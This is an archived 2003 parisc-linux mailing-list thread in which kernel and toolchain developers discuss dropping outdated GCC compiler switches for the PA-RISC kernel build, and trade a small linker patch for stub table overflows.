> ftp://gsyprf10.external.hp.com/debian-cd/3.0_r0/hppa/
> I went back to check for the MD5 Checksums.
> They did not compare, but then I saw that the MD5SUM file was referencing
> i386 disks, under the hppa directory :)

sorry - I thought I corrected that a while ago.
I guess I missed it on that server.
Let me post proper MD5 sums.

grant


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 03:59:20 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20030202035920.F21040@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622176 20944 80.91.229.3 (22 Nov 2014 02:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 20:59:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5543C4829
	for <parisc-linux@parisc-linux.org>; Sat,  1 Feb 2003 20:59:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18fBHs-0000EK-00
	for parisc-linux@parisc-linux.org; Sun, 02 Feb 2003 03:59:20 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17589

Just wondering how many of the compiler switches we really need these days.
Here's what we currently do:

cflags-y        := -D__linux__ -pipe -fno-strength-reduce

# These should be on for older toolchains or SOM toolchains that don't
# enable them by default.
cflags-y        += -mno-space-regs -mfast-indirect-calls

# No fixed-point multiply
cflags-y        += -mdisable-fpregs

# Without this, "ld -r" results in .text sections that are too big
# (> 0x40000) for branches to reach stubs.
cflags-y        += -ffunction-sections


-D__linux__ looks like it can go away.

-pipe I'm agnostic on.  Someone want to benchmark builds both with and
without it?

-fno-strength-reduce has been there since before we moved to ELF -- over 3
years.  Any bug this was working around has hopefully been long-squashed.
I think we should eliminate this and submit PRs if it finds new holes.

-mno-space-regs & -mfast-indirect-calls can also go away, I think.
I can't imagine that we ever didn't have them as default on a gcc
3.0-based compiler.

Do we still need -ffunction-sections?  I'm inclined to leave it anyway
to enable compilation with older toolchains.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sat, 1 Feb 2003 23:56:40 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <200302020456.h124ueYd025040@hiauly1.hia.nrc.ca>
References: <20030202035920.F21040@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622176 20947 80.91.229.3 (22 Nov 2014 02:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 21:56:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14E644829
	for <parisc-linux@parisc-linux.org>; Sat,  1 Feb 2003 21:56:43 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h124ufot025041;
	Sat, 1 Feb 2003 23:56:41 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h124ueYd025040;
	Sat, 1 Feb 2003 23:56:40 -0500 (EST)
In-Reply-To: <20030202035920.F21040@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Feb 2, 2003 03:59:20 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17590

> -D__linux__ looks like it can go away.

Agreed.  This is defined for sure in 3.1/3.2 and later.

> -fno-strength-reduce has been there since before we moved to ELF -- over 3
> years.  Any bug this was working around has hopefully been long-squashed.
> I think we should eliminate this and submit PRs if it finds new holes.

I always wondered why this option was used.

> -mno-space-regs & -mfast-indirect-calls can also go away, I think.
> I can't imagine that we ever didn't have them as default on a gcc
> 3.0-based compiler.

These are still not the default but possibly they should be.

Actually, I can see that we can save a couple of instructions when
generating long indirect calls to a symbol reference when no space
registers is defined.

> Do we still need -ffunction-sections?  I'm inclined to leave it anyway
> to enable compilation with older toolchains.

Cross my fingers, but I believe that the distance problem for calls
is fixed 3.2.2.  However, if there really are objects with .text larger
than 240000 bytes, then you should probably still define -ffunction-sections.
When the total code bytes exceeds the above limit (PA 1.X), gcc switches
to long indirect calls.  These are horribly inefficient.  There are
better sequences but we need some new support in gas and ld to handle
the relocations and generate appropriate stubs.

For example, the following non-pic sequence works under hpux with the HP
assembler, but not linux or hpux with gas:

	ldil L'dest,%r1
	be R'dest(%sr4,%r1)

Long pic pc-relative and symbol difference sequences also don't work.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sat, 1 Feb 2003 21:19:40 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030202051940.GR20940@tausq.org>
References: <20030202035920.F21040@parcelfarce.linux.theplanet.co.uk> <200302020456.h124ueYd025040@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622176 20948 80.91.229.3 (22 Nov 2014 02:09:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:36 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 22:22:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BC314829
	for <parisc-linux@parisc-linux.org>; Sat,  1 Feb 2003 22:22:46 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 10414CD294; Sat,  1 Feb 2003 21:19:40 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200302020456.h124ueYd025040@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17591

> Cross my fingers, but I believe that the distance problem for calls
> is fixed 3.2.2.  However, if there really are objects with .text larger

Lamont still saw some function-section failures with Debian gcc 
3.2.2-pre7 (20030128)

This one looks pretty small:
http://buildd.debian.org/fetch.php?&pkg=synopsis&ver=0.4.1cvs20030125-1&arch=hppa&stamp=1044017572&file=log&as=raw

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 00:49:14 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <200302020549.h125nFpE025091@hiauly1.hia.nrc.ca>
References: <20030202051940.GR20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622177 20955 80.91.229.3 (22 Nov 2014 02:09:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:37 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 22:49:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CA014829
	for <parisc-linux@parisc-linux.org>; Sat,  1 Feb 2003 22:49:16 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h125nFot025092;
	Sun, 2 Feb 2003 00:49:15 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h125nFpE025091;
	Sun, 2 Feb 2003 00:49:15 -0500 (EST)
In-Reply-To: <20030202051940.GR20940@tausq.org> from "Randolph Chung" at Feb 1, 2003 09:19:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17592

> Lamont still saw some function-section failures with Debian gcc 
> 3.2.2-pre7 (20030128)

If this is building C++ code, then the problem is likely in the linker.
Try this:

Index: emultempl/hppaelf.em
===================================================================
RCS file: /cvs/src/src/ld/emultempl/hppaelf.em,v
retrieving revision 1.24
diff -u -3 -p -r1.24 hppaelf.em
--- emultempl/hppaelf.em	30 Nov 2002 08:39:46 -0000	1.24
+++ emultempl/hppaelf.em	2 Feb 2003 05:41:38 -0000
@@ -50,7 +50,7 @@ static int need_laying_out = 0;
 /* Maximum size of a group of input sections that can be handled by
    one stub section.  A value of +/-1 indicates the bfd back-end
    should use a suitable default size.  */
-static bfd_signed_vma group_size = 1;
+static bfd_signed_vma group_size = -1;
 
 /* Stops the linker merging .text sections on a relocatable link,
    and adds millicode library to the list of input files.  */

This reduces the stub pressure by about 50%.  I also installed this
yesterday to fix a related problem:

2003-01-31  John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

	* pa.c (pa_output_function_prologue, pa_output_function_epilogue): Move
	updating of total_code_bytes from prologue to epilogue.

The updating of total_code_bytes in the prologue changed caused the call
sizes to change in a function that spanned the 240000 byte boundary.  This
caused the branch distance of any branch over a call to increase, and
sometimes exceed the range of the branch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 00:52:36 -0500 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <200302020552.h125qajv025111@hiauly1.hia.nrc.ca>
References: <20030202051940.GR20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622177 20960 80.91.229.3 (22 Nov 2014 02:09:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:37 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 22:52:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C614B4852
	for <parisc-linux@parisc-linux.org>; Sat,  1 Feb 2003 22:52:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h125qaot025112;
	Sun, 2 Feb 2003 00:52:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h125qajv025111;
	Sun, 2 Feb 2003 00:52:36 -0500 (EST)
In-Reply-To: <20030202051940.GR20940@tausq.org> from "Randolph Chung" at Feb 1, 2003 09:19:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17593

> http://buildd.debian.org/fetch.php?&pkg=synopsis&ver=0.4.1cvs20030125-1&arch=hppa&stamp=1044017572&file=log&as=raw

Yah, that's a stub table overflow.  Try the linker patch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 00:55:45 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200302020555.h125tjV1025138@hiauly1.hia.nrc.ca>
References: <200302020552.h125qajv025111@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622177 20966 80.91.229.3 (22 Nov 2014 02:09:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:37 +0000 (UTC)
Cc: tausq@debian.org, willy@debian.org, parisc-linux@parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 22:55:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6D324851
	for <parisc-linux@parisc-linux.org>; Sat,  1 Feb 2003 22:55:47 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h125tkot025139;
	Sun, 2 Feb 2003 00:55:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h125tjV1025138;
	Sun, 2 Feb 2003 00:55:45 -0500 (EST)
In-Reply-To: <200302020552.h125qajv025111@hiauly1.hia.nrc.ca> from "John David Anglin" at Feb 2, 2003 00:52:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17594

> > http://buildd.debian.org/fetch.php?&pkg=synopsis&ver=0.4.1cvs20030125-1&arch=hppa&stamp=1044017572&file=log&as=raw
> 
> Yah, that's a stub table overflow.  Try the linker patch.

Oh, I should mention there is a linker option to change the stub table
size.  It's "--stub-group-size=N".  For more info, "ld --help".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 00:18:36 -0800
Lines: 9
Approved: news@gmane.org
Message-ID: <20030202081836.GX20940@tausq.org>
References: <20030202051940.GR20940@tausq.org> <200302020552.h125qajv025111@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622178 20969 80.91.229.3 (22 Nov 2014 02:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:38 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 01:23:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AA144847
	for <parisc-linux@parisc-linux.org>; Sun,  2 Feb 2003 01:23:06 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CC8FCCD294; Sun,  2 Feb 2003 00:18:36 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200302020552.h125qajv025111@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17595

In reference to a message from John David Anglin, dated Feb 02:
> > http://buildd.debian.org/fetch.php?&pkg=synopsis&ver=0.4.1cvs20030125-1&arch=hppa&stamp=1044017572&file=log&as=raw
> 
> Yah, that's a stub table overflow.  Try the linker patch.

yup, this seems to work.

randolph


From - Thu Nov 08 21:26:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiler switches
Date: Sun, 2 Feb 2003 21:03:34 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <20030202210334.H21040@parcelfarce.linux.theplanet.co.uk>
References: <20030202035920.F21040@parcelfarce.linux.theplanet.co.uk> <200302020456.h124ueYd025040@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622178 20976 80.91.229.3 (22 Nov 2014 02:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:38 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  2 14:03:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AD24484B
	for <parisc-linux@parisc-linux.org>; Sun,  2 Feb 2003 14:03:36 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18fRH4-0000Ro-00; Sun, 02 Feb 2003 21:03:34 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200302020456.h124ueYd025040@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Sat, Feb 01, 2003 at 11:56:40PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17596

On Sat, Feb 01, 2003 at 11:56:40PM -0500, John David Anglin wrote:
> > -D__linux__ looks like it can go away.
> 
> Agreed.  This is defined for sure in 3.1/3.2 and later.

Plus there's very little code which checks for __linux__ in the source tree ;-)

> > -fno-strength-reduce has been there since before we moved to ELF -- over 3
> > years.  Any bug this was working around has hopefully been long-squashed.
> > I think we should eliminate this and submit PRs if it finds new holes.
> 
> I always wondered why this option was used.

OK, I'll take it out now.

> > -mno-space-regs & -mfast-indirect-calls can also go away, I think.
> > I can't imagine that we ever didn't have them as default on a gcc
> > 3.0-based compiler.
> 
> These are still not the default but possibly they should be.
> 
> Actually, I can see that we can save a couple of instructions when
> generating long indirect calls to a symbol reference when no space
> registers is defined.

I think they definitely should be implied by configuring for hppa-linux.
I don't see any enthusiasm for allowing use of additional space registers
for special purposes.

> > Do we still need -ffunction-sections?  I'm inclined to leave it anyway
> > to enable compilation with older toolchains.
> 
> Cross my fingers, but I believe that the distance problem for calls
> is fixed 3.2.2.  However, if there really are objects with .text larger
> than 240000 bytes, then you should probably still define -ffunction-sections.

hmm.. part of the problem is the ld -r steps.  The current 2.5 build
process does things like:

  hppa-linux-gcc -Wp,-MD,drivers/block/.loop.o.d -D__KERNEL__ -Iinclude -Wall -W
strict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -D__linux_
_ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpr
egs -ffunction-sections -march=1.1 -mschedule=7100LC -fomit-frame-pointer -nostd
inc -iwithprefix include    -DKBUILD_BASENAME=loop -DKBUILD_MODNAME=loop   -c -o
 drivers/block/loop.o drivers/block/loop.c

   hppa-linux-ld   -r -o drivers/block/built-in.o drivers/block/elevator.o drive
rs/block/ll_rw_blk.o drivers/block/ioctl.o drivers/block/genhd.o drivers/block/s
csi_ioctl.o drivers/block/deadline-iosched.o drivers/block/rd.o drivers/block/lo
op.o

